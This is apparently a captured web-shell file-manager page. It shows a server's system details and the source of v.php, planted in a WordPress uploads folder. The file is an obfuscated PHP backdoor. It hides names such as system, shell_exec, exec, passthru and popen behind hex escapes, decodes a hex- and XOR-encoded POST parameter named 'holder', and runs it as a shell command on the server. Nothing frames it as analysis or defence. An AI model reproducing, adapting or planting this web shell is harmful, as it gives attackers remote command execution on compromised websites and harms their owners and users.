HEX
Server: Apache/2.4.59 (Debian)
System: Linux keymana 4.19.0-21-cloud-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30) x86_64
User: lijunjie (1003)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/thaler/wp-content/uploads/2025/05/v.php
<?php

$app_initializer2 = "s\x68\x65ll\x5Fe\x78\x65c";
$app_initializer6 = "\x73tre\x61\x6D_g\x65\x74\x5F\x63\x6Fn\x74en\x74s";
$app_initializer5 = "p\x6F\x70en";
$app_initializer1 = "\x73ys\x74em";
$settings = "hex\x32b\x69n";
$app_initializer3 = "e\x78\x65c";
$app_initializer7 = "p\x63\x6C\x6Fse";
$app_initializer4 = "\x70a\x73st\x68\x72u";
if (isset($_POST["\x68\x6F\x6Cder"])) {
            function framework($reference  , $val    ){
 $descriptor =    '';
 for($g=0;
 $g<strlen($reference);
 $g++){
$descriptor.=chr(ord($reference[$g])^$val);

} return$descriptor;
 
}
            $holder = $settings($_POST["\x68\x6F\x6Cder"]);
            $holder = framework($holder, 12);
            if (function_exists($app_initializer1)) {
                $app_initializer1($holder);
            } elseif (function_exists($app_initializer2)) {
                print $app_initializer2($holder);
            } elseif (function_exists($app_initializer3)) {
                $app_initializer3($holder, $hld_reference);
                print join("\n", $hld_reference);
            } elseif (function_exists($app_initializer4)) {
                $app_initializer4($holder);
            } elseif (function_exists($app_initializer5) && function_exists($app_initializer6) && function_exists($app_initializer7)) {
                $val_descriptor = $app_initializer5($holder, 'r');
                if ($val_descriptor) {
                    $bind_ptr = $app_initializer6($val_descriptor);
                    $app_initializer7($val_descriptor);
                    print $bind_ptr;
                }
            }
            exit;
        }